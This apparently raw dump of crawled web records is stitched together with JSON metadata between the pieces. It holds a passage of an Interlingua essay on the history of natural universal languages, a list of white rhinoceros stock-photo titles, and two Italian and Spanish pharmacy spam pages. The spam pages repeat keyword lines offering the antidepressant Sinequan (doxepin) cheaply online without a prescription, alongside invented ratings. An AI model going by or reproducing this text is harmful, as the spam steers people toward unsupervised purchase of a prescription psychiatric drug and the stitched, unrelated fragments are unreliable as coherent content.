latente, que constantemente cerca producer un instrumento pro superar le barrieras lingual. Le historic linguas universal es le corpore de iste spirito, qui non mori quando le Stato Universal decade. Le Lingua Universal supervive generalmente durante seculos le dissolution del Stato Universal. Le spirito unificante resta presente como fortia historic latente, attendente un nove occasion, un climate fertile et un nove superstato, un nove imperio que assecura pace e traffico intensive e secur. Lo que supervive de linguistic elementos commun forma con elementos e conceptos moderne le materia, con que le spirito unificante presenta un nove incarnation de un nove lingua universal. Lingua universal natural es un phenomeno concrete et indiscutibile, phenomeno que se ha manifestate in un ritmo quasi millenne.\nNostre horizonte se expande.\nIn le campo del historia de cultura e del civilisation nostre horizonte historico-prehistoric se expande continuemente. Le recerca archeologic e historic ha discoperite culturas e civilisationes finora occulte. Hodie nos cognosce civilisationes que existeva in le ultime dece-due mille annos. - Tamben le horizonte del lingua universal obtene un forte expansion per iste nostre studio. Post le latino e le greco universal (de longe note) entra nunc in scena le aramaico e le akkadiano, ambes como linguas universal. Nos describe non solo lor existentia, ma tamben le mecanismo de lor nascentia, floration e decadentia, specialmente le carriera de iste due prime linguas universal, ex quo se apre perspectivas del futuro.\nLingua universal es auxilio al bon governamento, pace e politica social.\nLe scopo essential de bon governamento e politica social es liberar le vita del violentia e del guerra; instituer lege et ordine in vice de anarchia. Le progresseo politic es approximation a iste ideal. Le statos universal del passato (Imperio de Sumer-Akkad, le Imperio Medo-Persian, le Imp. de Alexandro e le Imp. Roman) attingeva un relativemente alte grado de non-violentia, de pace et ordine, contra que le statos national era relativemente violente e bellicose. Le principal progresso politic e civilisatori es le merito del Statos Universal.\nErgo le lingua universal non es un invention human, ma un phenomeno natural: Si tosto que le developpamento cultural e social arriva ad un certe grado de contactos inter estranieros, appare un lingua franc, que postea deveni - toto naturalmente - official lingua universal.\nFONTE del energia pro le lingua universal es un spirito de convergentia innate al homine. Un lingua universal es le incarnation de iste fortia latente, que constantemente cerca un instrumento pro superar le barrieras lingual. Le historic linguas universal es le corpore de iste spirito, qui non mori, quando le Stato Universal decade. Le Lingua Universal supervive generalmente durante seculos le dissolution del Stato Universal.\nLe spirito unificante resta presente como fortia historic latente, attende un nove occasion, un climate fertile e un nove superstato, un nove imperio que assecura pace e traffico intenslve e secur. Lo que supervive de linguistic elementos commun, forma, con elementos moderne, le MATERIA, con le qual le spirito unificante va presentar un nove incarnation. Assi cata vece nos ha un lingua universal natural como phenomeno concrete et indiscutibile, que se ha manifestate in ritmo quasi millenne.\nECCLESIA Universal (que es un stato universal spiritual) heredita del Stato Universal decadente le civilisation, e con le civilisation tamben le lingua universal. Ass? le progresso verso un lingua sempre plus universal curre parallel al progresso politic. Tamben in nostre epoca, le chance plus importante del lingua universal jace in le progresso politic.\nTotevia, le epocas de statos universal son interrupte per 'interregnos', periodos de anarchia e de incessante guerras inter populos. Nonobstante, post interregnos emerge un nove stato universal, unifica un plus grande numero de populos; - e tamben le lingua universal del nove stato universal elimina le barrieras lingual inter un plus grande numero de homines que le lingua universal precedente.\nLe crescentia del lingua universal es un processo irreversibile et include in se un sempre plus grande parte del mundo civilisate.\nLe linguas universal, que nos videva crescer e decader, son un sequentia cronologic con interruptiones in le processo politic e linguistic. Actualmente nos sta in un epoca de interruption, in un INTERREGNO. Ex nostre vision multimillenari il deveni evidente, que le linguas universal historic son precursores de un futur lingua ecumenic, qui va includer le tote mundo civilisate.\nNos observa hodie le parolas commun in nostre linguas national e recognosce les como elementos del futur lingua universal, que presenta se a nos in 'stato de nascentia'. Secundo le testimonio del historia, le nascentia del lingua universal besonia un longe preparation: un lingua universal era sempre precedite e preparate per un correspondente LINGUA FRANC. Multo diffuse ma quasi immediatemente comprensibile, un lingua franc precede e prepara le via del lingua universal.\nLe lingua franc de un civilisation ecumenic, debe esser ecumenic, global, e va esser de typo occidental, proque le civilisation, ex le qual eveni le vocabulario, es de origine e de character occidental. Le civilisation occidental va devenir realmente ecumenic, et equalmente le uso del lingua universal va haber uso ecumenic.\nHodie, in effecto, le commun cultura e civilisation ecumenic es multo plus importante que le culturas e civilisationes regional, que finalmente resta 'folklore'. Le processo es satis avantiate:\nUn exemplo es illustrative: Si un italiano, un espaniol, francese, anglese, germano, slavo etc. face le experimento de usar solmente parolas specificamente national (esoteric, incomprensibile pro le alteres), e de evitar omne parolas importate et adoptate ex altere linguas vive o morte - illes va vider, que il non es possibile exprimer se e viver con le parolas specificamente regional-national; nam, secundo le caso, 50-80% del vocabulario de nostre linguas national consiste in parolas commun. Talmente pote esser demonstrate le unitate intime del linguas de cultura. In contrario es heresia phantastic le opinion, que le linguas national es realitates independente.\nLe lingua regional-national revela le character special intime del societate, que parla iste lingua particular. Analogicamente le lingua universal revela le commun characteristicas de omne societates, participantes in un civilisation commun, per exemplo: in le spacio del Mediterraneo, le vita es relativemente facile; le gente ha multe tempore pro parlar. Grecia, educator del populos mediterran, ha divinisate le 'parola' (\"logos\"), e le civilisation cristian ha assimilate le divinisation del Logos, identificante Cristo con le Logos. In Grecia, le garrule atticismo ha triumfate super le taciturne laconismo; e le moderne linguas roman ha hereditate un specie de atticismo per le facto que le lingua universal grec es de origine attic; e le greco ha formate le latino, como le latino ha formate le linguas romanic moderne. E le linguas roman de lor parte, son in curso de formar le lingua universal nascente. Parlante con gusto e placer, le populos grecoroman e lor successores moderne ha forgiate linguas expressive, sonor, plastic et elegante - e promette formar un lingua universal con le mesme qualitates.\nMalgrado le stricte connexion inter civilisationes e linguas universal, le studio del civilisationes non suffice pro tractar le problema del lingua universal in modo exhaustive. Fin quando le civilisation cresce indisturbate per altere civilisationes o per populos non-civilisate, le relation inter civilisation e lingua univesal es simple: le lingua universal servi le Stato Universal, create illo mesme per le civilisation.\nMa quando un civilisation incontra un altere civilisation plus o minus violentemente, (como nos va vider in detalios in le quarte parte de nostre studio - ex le incontro nasce un RELIGION SUPERIOR. Le religion superior forma e organisa se in ECCLESIA Universal le qual adopta le lingua universal.\nTal incontro resulta normalmente in le declino e le disintegration de un civilisation. Precisemente ex le suffrentia collective del participantes, in le civilisation disintegrate, nasce le religion superior, como compensation spiritual pro le perdita material. Nonobstante le declino del civilisation, le lingua universal in casos non declina, ubi le lingua universal es adoptate e curate per le ECCLESIA. Le lingua universal continua a viver como lingua del religion, non solo in theologia, liturgia et administration ecclesiastic, ma tamben in scientia, diplomatia, literatura etc.\nIn le quarte parte de nostre studio nos reveni al incontros de civilisationes e le religion superior.\nCap. 2 - LINGUA UNIVERSAL: NATURAL O ARTIFICIAL\nLe vision - le vista - le opinion - que nostre publico in general ha de Lingua Universal\" sembla confuse e superficial, si non francamente false. False proque le expression universal o mundial sembla inseparabile del appendice 'artificial e constructe'. Le libro francese \"Histoire de la langue universelle\" per le professores Couturate e Leau (Paris), non es le historia de real linguas, ma solmente le presentation del innumerabile productos de phantasia e logica a priori, como era proposite per le philosophos Descartes e Leibnitz ca. trecento annos retro. Tal linguas artificial veni ancor hodie propagate como 'mundolingua', lingua mundial, que, studiate e practicate per omne esseres human, deberea unir les in pace. - Simile le \"Pr'cis d'Interlinguistique g'n'ral e sp'cial\" de Monnerot-Dumaine (libr. Maloine, Paris (1960).\nIste professores cognosce ben le historia del culturas classic e le innumerabile vocabulos grec e latin; ma in lor obsession 'linguipare' et in lor dogmatic querelas nemo pensava al essentia del lingua: que lingua es elemento essential del cultura. Illes semblava creder, que le hellenismo es le initio del cultura. In lor tempore nemo sapeva, que existe un real historia de linguas universal natural desde quatro mille annos, e que real linguas universal ha alora functionate in le tote territorio cultivate de lor epoca.\nPROBLEMA DIFFICILE:\nPro avantiar un problema difficile, on ha interesse a cognoscer anterior experientias, sia con resultatos positive o negative. In retrospection on trova solutiones facilemente, proque le situation presenta se differente hodie et in le situationes passate.\nTotevia in un certe passato on trova casos et exemplos plus o minus adaptabiie a nostre situation: non rar nos trova errores perpetrate per nostre precursores, errores con consequentias fatal - errores que nos debe e pote evitar. Ora, precisemente le saper historic, le vision del passato del linguas universal, manca al sinominate 'interlinguistas\" 'phantalinguistas\". Tal protagonistas, fanatic apostolos viveva e vive ancor in un illusion naive. Illes pensava e pensa ancora que le lingua universal debe esser un construction schematic, a priori, le plus simple possibile, regular e neutral in respecto a omne populos. On non sape e non vole vider, que le ver lingua universal historic monstra nos un via practicabile tamben pro hodie, pro trovar ie lingua auxiliar natural, correspondente a nostre epoca.\nObservatores acute constata, que le seculo dece-novesime comenciava perder le vision historic, vision, que anterior seculos possedeva. Dunque non es un hasardo, que in le seculo dece-novesime appare le prime linguage vastemente propagate.\nNunc, in le vintesime seculo, le conscientia historic reappare, como demonstra le obra colossal de ARNOLD TOYNBEE: 'A study of history' (Oxford university Press, London, 12 volumines, 7170 paginas) e altere su publicationes. - Le autor del presente studio eveni ex tal atmosfera historic e debe multissimo ad Arnold Toynbee.\nLe studio del ver linguas universal historic offere le avantage de dar nos informationes importante et essential pro un VER INTERLINGUISTICA HISTORIC. Le millennios passate ha eliminate quasi toto que non es importante. Dunque nos ha un collection selectionate del real interesse. Scientistas e studentes ha a lor disposition ja selecte. A notar que ex le voluminose francese \"Histoire de la langue universelle\" (Couturate e Leau) le historic investigatores va trovar nihil; le libro ha un false titulo: illo deberea esser 'Historia del linguas artficial'. Le ver historia del ver linguas universal debe ancor esser scripte. Nostre studio presente es un prime tentativa.\nLe studio del ver linquas universal illustra, que lor character era sempre ecumenic, que le linguas universal unificava le homines culte de lor epoca, omne homines qui ha besonio de contactos supranational. Al contrario, le linguages artificial separa le homines in vice de unir les, divide les in adherentes de differente sistemas inventate. Le lingua que vos lege in iste momento es plus tosto un tentativa de anticipar le lingua universal veniente, lingua basate super le plure dece mille parolas universal, note al moderne poliglotte homines culte.\nParola corpore del pensata.\nLe parola e le structura natural non solo es symbolos cultural, ma es le ver corpore del pensata. Analogicamente le parola e structuras del lingua universal es le corpore del commun pensata de omne homines participante in un civilisation. Dunque, cambiar formas historic resultante ex evolution, es absurde, proque le passato historic manifesta le intrinsec natura del homine e de su lingua. Ergo le passato non debe esser manipulate e deformate. In contrario, le PASSATO debe esser recognite como essential, e dunque merita esser integrate in le presente. Le commun passato es de facto presente in le formas commun del linguas moderne; il es effectivemente lor denominator commun.\nPro quo non usar le tresor del vocabulos universalmente cognite? Pro quo deformar los, substituer los per schemas artificial? Fin tanto on non sapeva, que lingua universal es un facto historic, le nonsenso de substituer parolas per artificiales incomprensibile, tal nonsenso era un poco excusabile. Tamben le autor mesme de nostre studio era victima del nonsenso durante su Odyssea de un 'lingua artificial' al altere, como ille lo ha descripte in su 'confession', in le prologo al presente studio. - Ma ora, iste essayo in mano, nos sape, que linguas universal natural es un realitate establite desde quatro mille annos, apparite in quatro incarnationes successive con sempre plus grande successo. In consequentia, tal nonsenso non es plus excusabile.\nLe idea de un lingua universal ha perdite credito in le circulos cultivate moderne, proque on ha presentate 'mundolinquas' que effectivemente era 'phantalinguages' artificial, incomprensibile. Ora, in le perspectiva historic del ver linguas universal, le amicos del idea pote recuperar le credito perdite e requirer le mundo pro lor moderne ideal.\nLe lingua universal es un phenomeno human.\nPhenomenos human es minus obediente a leges rigide que corpores astronomic, e non es preste a sequer rigide schemas inhuman e vocabulos artificial. Le tentativa de explicar le phenomenos human per medio de analogias ex le campo mechanic inanimate, es fallacia. Si, per exemplo, on compara le lingua con un locomotiva, proque ambes es medios de communication, insistente que le locomotiva artificial servi melio que le cavallo natural, on obscura le problema vice perluminar lo. Nos non pote explanar un phenomeno human (como le lingua universal) per medio de analogia non- human (locomotiva, ma solo per medio de altere phenomenos human (como cultura e civilisation). Le physica, como le locomotiva) es mundo exterior - le psyche (como le lingua) es mundo interior, es nos mesme. - Le machina es governate per 'causa et effecto'. Esseres vivente, ass? le human, es governate per 'stimulo e responsa'. Le responsa del homine al stimulo es partialmente libere, non inevitabile, non previsibile. Al mesme stimulo le responsa pote esser differente, non es causalmente determinate; human actiones non es mecanic effectos de causas. In decisiones human inter alternative possibilitates, sovente le prevision de un scopo es plus importante que effectos e influentias del passato. -\nLe rigide schemas de linguas artificial es plus simile a mecanismos que a esseres human. Linguages pote esser fabricate como on fabrica locomotivas. Un ver lingua universal non pote esser fabricate: nasce e cresce, deveni como un planta; vole esser cercate e trovate, debe esser discoperite. Ass? le ver interlinguista es un investigator, un requisitor scientific, un ingenio, non un fabricator.\nLe lingua es medio de transferimento de cultura. Le transferimento debe esser facte per parolas cultural, juncte per tradition al elementos cultural. Eliminar le nomine traditional e adoptar un altere nomine pro un elemento cultural transferite, significa le perdita del tradition associate al nomine traditional.\nNos es le historia? Le lingua universal es parte del historia. Promover le lingua universal nascente es facer historia pro le humanitate. Propagar e promover un linguage artificial significa exir ex le historia.\nOn sape, que certe personas non estima le historia, non vide su valor. Illes minusprecia, despice le vision historic in general. Tales son habituate a parlar del futuro, e non realisa, que ja pro comprender le presente, on debe saper le genese de iste presente, i.e. le historia. E previder le futuro sin comprender le presente es cosa purmente speculative.\nClaro que nostre mundo sta in un CRISE: Un maxi-developpamento tecnic contrasta con un minideveloppamento moral, e con un manco de lingua universal correspondente a nostre civilisation moderne. Nos pote e debe apprender ex le historia del prime civilisationes. Iste historia monstra nos, que nostre ancestres del prime civilisationes, (sumerian), ante quatro mille annos, son arrivate a lor lingua universal natural, e como illes son arrivate a lor lingua universal, que durante seculos ha functionate perfectemente.\nCap. 3 - LE REVOLUTION DEL INTERLINGUISTICA\nLe libro presente es le fructo de multe annos de recercas. Le virtute, que le autor cercava practicar in le studio presente, es le humilitate in facie de factos, secundo le immortal consilio de T.H. HUXLEY. \"Sede te avante un facto como un infante. Sia preste ad abandonar omne notiones preconcepte. Seque humilemente a non importa qual parte, et a non importa qual abissos. Natura va guidar te - o tu va apprender nihil\". Secundo tal consilio le autor ha discoperte le facto, que linguas universal existe desde quatro mille annos. Le autor dunque debeva abandonar le notion preconcepte, que lingua universal es un invention human moderne; ille sequeva humilemente le historia a omne partes e profunditates de quatro millennios - e crede nunc haber discoperte le notion revolutionari historic del lingua universal. Le autor desira le mesme humilitate a su lectores.\nLe autor publica le presente essayo con le scopo de incoragiar interessaos, historicos specialmente, a plus approfundite e detaliate studios del tema. Pro le historic investigation del lingua universal le presente obra non pote esser plus que un initio.\nInter le amicos del lingua universal le perspectiva historic finora es incognite. Necun interlinguista occupa se del historic linguas universal, necuno recognosce lor character de linguas universal. In tal situation le discoperta del antique linguas universal significa un ver revolution. Le autor es consciente, que su libro es revolutionari e require un revolutionari cambiamento de conception. Le autor spera que este revolution va purificar le atmosfera interlinguistic, e va stimular le developpamento de un interlinguistica historic vermente scientific.\nLe quantitate del factos historic pertinente al lingua universal es immense. Le autor poteva considerar solmente le factos maxime evidente. Altere investigatores, adjutate per le rapide expansion del archeologia e del historia cultural, va trovar abundantissime nove factos. - Il es obvie, que nostre breve presentation de un developpamento que durava sex millennios, non pote dessinar plus que le grande linea et un parte modeste del factos. Un generation va esser necesse pro scriber le historia detaliate del lingua universal; vocabularios e grammatica del antique linguas universal, de lor origines cultural et etymologic, de lor developpamento e de lor destinos final. Le autor presenta su libro tamben al homines de medie instruction, dunque debe renunciar a detalios in le campo del ancian linguas, detalios troppo tecnic. Specialistas in le campo del ancian linguas (semitic e sumerian), certo potera fornir interessante detalios.\nLe ambiente in le discoperta\nLe essayo presente non es le merito exclusive del autor. In parte le ambiente ha producto lo; Linguas universal es 'in le aere'. Nos omnes perde multo troppo tempore pro le Babel del linguas. Un lingua supra-national es urgente. - Es un facto ben cognite, que un discoperta veni facte in le mesme tempore et independentemente per plure individuos. Le causa es, que discopertas nutri se multo plus ex le collectivo e le cumulative avantiamento del cognition que ex le genio individual. Crescimento cultural stimula: discoperitor-inventor es le producto del societate, del cultura, de maniera que le discopertas emerge, quando le cognition collective e cumulative es satis evoluite e developpate.\nLe cognition del antique linguas universal tamben es invention collective in tal senso. Le historico, qui vive in un ambiente particular et occupa se de certe phenomenos de su ambiente, deveni sensibile a phenomenos analoge del passato. In tal modo, un historico, qui occupa se de interlinguistica (como le autor), non pote remaner insensibile in facie del factos que 1) le diversitate del linguas era, desde le apparition del civilisation, un problema urgente pro nostre ancestres: 2) que nostre ancestres era capace a resolver este problema per le creation de linguas franc: e que 3) desde quatro mille annos, quatro veces le solution classic veniva per le promotion del lingua franc a linguas universal. Sin experientias interlinguistic un autor 'historico' probabilemente non presta attention al carriera del akkadiano, del aramaico, del greco (koine) e del latino; o ille considera le lingua franc solmente como phenomeno de decadentia del lingua. Del altere parte, le experientia interlinguistic non basta pro le discoperta del linguas universal historic. Le autor debe esser versate in le historia cultural, in le linguistica et interlinguistica in mesme tempore. Qui interessa se solmente a linguas artificial, manca observar le facto historic, que le barrieras lingual era perfectemente superate per le linguas universal del passato. Ubi manca tal multilingual cognoscentias, amicos plen de bon voluntate, cerca le solution del barrieras lingual per via artificial vice per via natural; e non seque le exemplo de nostre ancestres, qui habeva successo in lor tempore.\nIn le partes sequente le autor cerca developpar le tema progressivemente, in vision sempre plus alte e plus vaste. Certe inevitabile repetitiones va contribuer al major claritate e plus facile comprension.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/interlingua.wikia.com\/wiki\/INTRODUCTION_AL_STUDIO_HISTORIC_DEL_LINGUA_UNIVERSAL","date":"2017-08-24T03:11:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886126027.91\/warc\/CC-MAIN-20170824024147-20170824044147-00491.warc.gz","language":"ina","language_score":0.9998329282,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9998329281806946}","num_words":8911,"character_repetition_ratio":0.094,"word_repetition_ratio":0.065,"special_characters_ratio":0.178,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":673.8,"cluster_detection":-1} +{"text":"White Rhinoceros\nStock Images\n51 results\nWhite rhinoceros, South AfricaWhite rhinoceros in dustWhite rhinocerosWhite rhinocerosWhite rhinoceros feedingWhite rhinoceros and calfWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros drinkingWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros drinking waterWhite rhinoceros in dustWhite rhinocerosWhite rhinoceros in dustWhite rhinocerosWhite rhinoceros grazing - South AfricaWhite rhinoceros drinking waterWhite rhinoceros, South AfricaWhite rhinoceros pairWhite rhinocerosMud-covered white rhinocerosWhite rhinoceros pairWhite rhinoceros pairWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros pairWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros feedingWhite rhinoceros drinkingWhite rhinoceros drinkingWhite rhinoceros portraitWhite rhinoceros drinkingWhite rhinocerosWhite rhinocerosWhite rhinoceros feedingWhite rhinoceros feedingWhite rhinoceros feedingRhinoceros isolated","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.dreamstime.com\/search.php?srh_field=White%20rhinoceros&s_rf=y&s_ed=y&s_sp=Ecophoto&s_video=n&s_ph=y&s_sm=any","date":"2017-11-23T15:35:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806842.71\/warc\/CC-MAIN-20171123142513-20171123162513-00561.warc.gz","language":"ina","language_score":0.7503743172,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7503743171691895, \"eng_Latn_score\": 0.06618589162826538, \"fil_Latn_score\": 0.03445037826895714, \"ben_Latn_score\": 0.015378400683403015, \"bcl_Latn_score\": 0.012593887746334076, \"nmh_Latn_score\": 0.012466677464544773}","num_words":336,"character_repetition_ratio":0.515,"word_repetition_ratio":0.682,"special_characters_ratio":0.09,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.158,"perplexity_score":3560.3,"cluster_detection":-1} +{"text":"In linea 75 mg Sinequan Il costo di\nMigliore farmacia Per ordinare generico 75 mg Sinequan nessuna prescrizione. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.3 sulla base di 67 voti.\nPrezzo da €0.26 Per pillola\ngenerico Sinequan peru\nbasso costo Sinequan Doxepin hydrochloride\nse comprar Sinequan farmacia sin receta medica\nIl costo di Sinequan Doxepin hydrochloride US\nbasso costo Sinequan Singapore\nconveniente 75 mg Sinequan Giappone\nventa Sinequan generico mexico\nSconto Sinequan 75 mg UK\nprecio del Sinequan en farmacias chilenas\nA buon mercato Sinequan 75 mg Francia\nIl costo di 75 mg Sinequan Svezia\nacquistare Sinequan generico contrassegno\nconveniente Doxepin hydrochloride Inghilterra\nconveniente Sinequan USA\nfarmacias venden Sinequan sin receta chile\nsiti per acquistare Sinequan\nprecio de Sinequan farmacia\nPrezzo Doxepin hydrochloride Svezia\nbuy Acyclovir\ncheap Levitra Super Active\nvalor do generico do Sinequan\nprecio Sinequan farmacia ahumada\ngenerico Sinequan farmacia\nbasso costo Sinequan Doxepin hydrochloride Svezia\nSinequan generico roma\nbasso costo Doxepin hydrochloride Danimarca\nSconto 75 mg Sinequan Tacchino\nIl costo di Doxepin hydrochloride US\nSinequan generico europa\ngenerico Sinequan Doxepin hydrochloride Svezia\namerican soldiers Sinequan\ngenerico de Sinequan en venezuela\nQuanto costa Sinequan Repubblica Ceca\ncomprar Sinequan generico barcelona\nmejor precio Sinequan generico\nPrezzo 75 mg Sinequan Israele\ncosto in farmacia Sinequan 75 mg\nPrezzo basso Sinequan\nen farmacias del ahorro vende Sinequan\nQuanto costa 75 mg Sinequan USA\nSinequan generico paypal\nPrezzo basso Sinequan Regno Unito\nprecio Sinequan farmacia andorra\ngenerico Doxepin hydrochloride Stati Uniti\ncomprar Sinequan generico df\ncosto Sinequan originale in farmacia\nQuanto costa 75 mg Sinequan Stati Uniti\nA buon mercato Sinequan Giappone\nSinequan farmacias sin receta\nprecio del Sinequan generico\nOrdine Sinequan Doxepin hydrochloride UK\nin linea Doxepin hydrochloride Emirati Arabi Uniti\nPrezzo Sinequan 75 mg Regno Unito\nOrdine Sinequan 75 mg Spagna\nA buon mercato 75 mg Sinequan Svezia\ncosto confezione Sinequan farmacia\ncomprare Sinequan generico\nPrezzo Sinequan Doxepin hydrochloride Tacchino\nQuanto costa Sinequan Doxepin hydrochloride Belgio\nIl costo di Sinequan Finlandia\nAcquista Sinequan Stati Uniti\nA buon mercato 75 mg Sinequan Emirati Arabi Uniti\nIl costo di Doxepin hydrochloride Croazia\ngenerico Sinequan 75 mg Italia\nPrezzo basso Sinequan Doxepin hydrochloride Austria\nOrdine 75 mg Sinequan Singapore\nprecio Sinequan farmacia guadalajara\nPrezzo Sinequan 75 mg\nSinequan acquisto online\nPrezzo basso Doxepin hydrochloride Polonia\nOrdine 75 mg Sinequan Brasile\nSinequan precio farmacia ahorro\nAcquista Sinequan 75 mg Italia\nPrezzo Sinequan Doxepin hydrochloride Danimarca\nAcquista Sinequan 75 mg Norvegia\nA buon mercato 75 mg Sinequan Brasile\nacquista Sinequan generico online\nAcquistare 75 mg Sinequan Canada\nSinequan on line italia generico\ngenerico do Sinequan sandoz\ngenerico Sinequan Brasile\nSinequan generico junho\nper acquistare Sinequan\nSinequan mexico generico\nPrezzo Doxepin hydrochloride Stati Uniti\nfarmacias venden Sinequan mexico\nvendita Sinequan e Sinequan\ncome comprare Sinequan in farmacia\nconveniente Sinequan Doxepin hydrochloride\nSinequan precio farmacia guadalajara\nconveniente Sinequan Emirati Arabi Uniti\nposso acquistare Sinequan farmacia\nQuanto costa Sinequan US\nSinequan libyan soldiers\nquien vende Sinequan generico en mexico\nbasso costo Sinequan 75 mg Austria\ncomprar Sinequan generico foro\nbasso costo Sinequan Svizzera\nOrdine Sinequan Doxepin hydrochloride Italia\nprecio del Sinequan en farmacias\nPrezzo Sinequan 75 mg Tacchino\nSinequan generico di qualità\nSinequan generico mexico df\nA buon mercato Doxepin hydrochloride USA\nAcquista Sinequan Doxepin hydrochloride Australia\ncheap Paxil\ncheap Indocin\ncheap Accutane\nbuy Ofloxacin\nyuGKa","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.sighost.us\/drug-store-sicura-in-linea-75-mg-sinequan-il-costo-di\/","date":"2017-12-18T03:15:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948604248.93\/warc\/CC-MAIN-20171218025050-20171218051050-00425.warc.gz","language":"ina","language_score":0.4048971236,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.40489712357521057, \"ita_Latn_score\": 0.1720796376466751, \"lat_Latn_score\": 0.07661597430706024, \"eus_Latn_score\": 0.05785657465457916, \"ile_Latn_score\": 0.05145087465643883, \"mlt_Latn_score\": 0.02439155988395214, \"scn_Latn_score\": 0.01997888647019863, \"lij_Latn_score\": 0.01859750971198082, \"kiu_Latn_score\": 0.017643406987190247, \"vec_Latn_score\": 0.017279190942645073, \"nap_Latn_score\": 0.01238269079476595, \"nld_Latn_score\": 0.012306539341807365, \"por_Latn_score\": 0.011337618343532085}","num_words":1164,"character_repetition_ratio":0.211,"word_repetition_ratio":0.029,"special_characters_ratio":0.154,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.224,"perplexity_score":29841.1,"cluster_detection":-1} +{"text":"Sinequan Basso costo In linea\nDove posso ottenere Doxepin hydrochloride non prescritti. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.8 sulla base di 350 voti.\nPrezzo da inizio €0.26 Per pillola\ncuanto cuesta el Sinequan generico en colombia\nprecio de Sinequan en las farmacias\nAcquistare Sinequan 10 mg Tacchino\nSinequan farmacia argentina\nQuanto costa Sinequan 10 mg Finlandia\nSinequan comprar Sinequan generico\nSinequan generico onde comprar\nprecio Sinequan farmacias chilenas\ncosto Sinequan 10 mg farmacia\nSinequan farmacia senza ricetta\nIl costo di Doxepin hydrochloride Svezia\nSconto Sinequan 10 mg\nconveniente Sinequan Brasile\nbasso costo Sinequan Stati Uniti\nPrezzo Sinequan Doxepin hydrochloride Spagna\nAcquista Doxepin hydrochloride Israele\nin linea Sinequan 10 mg Israele\nBest Place To Order Bupropion cheap\ngenericos Sinequan brasil\nbasso costo 10 mg Sinequan Austria\nbasso costo 10 mg Sinequan Repubblica Ceca\nOrdine Sinequan 10 mg Singapore\ngenerico Sinequan colombia\nOrdine Sinequan Doxepin hydrochloride Grecia\nefeitos colaterais do Sinequan generico\nA buon mercato Sinequan Polonia\nin linea Sinequan Doxepin hydrochloride Stati Uniti\nOrdine Sinequan Israele\nin linea 10 mg Sinequan Francia\nventa Sinequan farmacias chile\ngenerico Doxepin hydrochloride UK\nSinequan farmacias ahumada\nhay Sinequan generico\ncontroindicazioni Sinequan generico\nPrezzo Sinequan 10 mg Croazia\nA buon mercato Sinequan 10 mg Stati Uniti\nSinequan vendita online\ncuanto cuesta Sinequan farmacia mexico\ndiferencia entre Sinequan y Sinequan generico\ngenerico Sinequan Austria\nPrezzo basso Sinequan 10 mg Singapore\nPrezzo basso Sinequan Croazia\nSinequan euro farmacia\nAcquistare Sinequan Inghilterra\nproductos genericos Sinequan\nconveniente Sinequan Austria\nacquistare Sinequan on line italia\ngenerico 10 mg Sinequan\nacquisto Sinequan tadalafil groups\nin linea Sinequan 10 mg UK\nSinequan generico contrassegno\nA buon mercato Sinequan Canada\ndove acquistare il Sinequan\nconveniente Doxepin hydrochloride Portogallo\nAcquista Sinequan 10 mg Repubblica Ceca\nAcquista 10 mg Sinequan Singapore\nPrezzo basso Sinequan Doxepin hydrochloride Inghilterra\nbasso costo 10 mg Sinequan Croazia\nacquisto Sinequan torino\ncomprar Sinequan generico españa contrareembolso\nPrezzo basso Doxepin hydrochloride US\nQuanto costa Doxepin hydrochloride Repubblica Ceca\nSinequan acquisto online forum\nfarmacia online andorra Sinequan\ncuanto vale Sinequan en farmacia\nQuanto costa 10 mg Sinequan US\nin linea Sinequan Danimarca\nin linea Sinequan Doxepin hydrochloride Grecia\nSinequan genericos argentina\nfarmacie online Sinequan generico\nOrdine Sinequan Croazia\nAcquistare Sinequan Polonia\nPrezzo basso Sinequan Finlandia\nAcquistare Sinequan Doxepin hydrochloride USA\ngenerico Sinequan Europa\ngenerico Sinequan Doxepin hydrochloride Grecia\nse puede comprar Sinequan en la farmacia sin receta medica\nconveniente Sinequan Doxepin hydrochloride Svizzera\nSinequan generico nao funciona\nBasso costo 4 mg Periactin\nOrder Motrin 200 mg generic\nbuy Risperdal\nAcquistare Requip 0.25 mg Generico\nBeställa Indocin\nuJDpF","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/tatianaestate.com\/drug-negozio-sinequan-basso-costo-linea-di-trasporto-di-posta-aerea-o-corriere\/","date":"2017-12-14T12:56:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948544124.40\/warc\/CC-MAIN-20171214124830-20171214144830-00745.warc.gz","language":"ina","language_score":0.3232515156,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.32325151562690735, \"ita_Latn_score\": 0.17912787199020386, \"eus_Latn_score\": 0.08540250360965729, \"lat_Latn_score\": 0.07670917361974716, \"ile_Latn_score\": 0.04452819004654884, \"kiu_Latn_score\": 0.02800745703279972, \"mlt_Latn_score\": 0.023378470912575722, \"nld_Latn_score\": 0.016665998846292496, \"vec_Latn_score\": 0.0159987173974514, \"eng_Latn_score\": 0.015767091885209084, \"scn_Latn_score\": 0.015579045750200748, \"nap_Latn_score\": 0.014408322982490063, \"por_Latn_score\": 0.014117666520178318, 